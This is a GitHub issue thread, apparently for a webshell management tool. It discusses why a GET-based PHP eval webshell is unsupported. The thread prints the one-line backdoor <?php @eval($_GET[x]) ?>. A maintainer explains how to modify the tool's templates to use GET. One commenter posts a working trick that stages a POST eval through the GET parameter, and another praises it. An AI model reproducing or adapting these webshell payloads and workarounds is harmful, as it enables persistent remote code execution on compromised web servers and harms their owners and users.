Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

为什么不支持$_GET类型的啊 #335

Open
ufofly opened this issue Jun 28, 2023 · 6 comments
Open

为什么不支持$_GET类型的啊 #335

ufofly opened this issue Jun 28, 2023 · 6 comments

Comments

@ufofly
Copy link

ufofly commented Jun 28, 2023

为什么不能使用<?php @eval($_GET[x]) ?>,了解到可以转换成post连接,为什么$_REQUEST也支持,不支持$_GET呢?

@CrystalRays
Copy link

get参数有长度限制

@woshicym
Copy link

愚蠢的决定

@Medicean
Copy link
Collaborator

为什么不能使用<?php @eval($_GET[x]) ?>,了解到可以转换成post连接,为什么$_REQUEST也支持,不支持$_GET呢?

如果你的环境不支持 POST 请求,仅支持 GET 请求的情况下,建议你自行修改 core 中的模版代码,将 $_POST 部分全部改为 $_GET,之后再修改 module/request 部分发包的代码,将 post 改为 get

@123456789tx1234567876
Copy link

get有长度限制

@b3r1ch
Copy link

b3r1ch commented Aug 13, 2024

<?php @eval($_GET[x]) ?>

http://127.0.0.1/1.php?x=eval($_POST['x'])

@yuppie007
Copy link

<?php @eval($_GET[x]) ?>

http://127.0.0.1/1.php?x=eval($_POST['x'])

赞!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

7 participants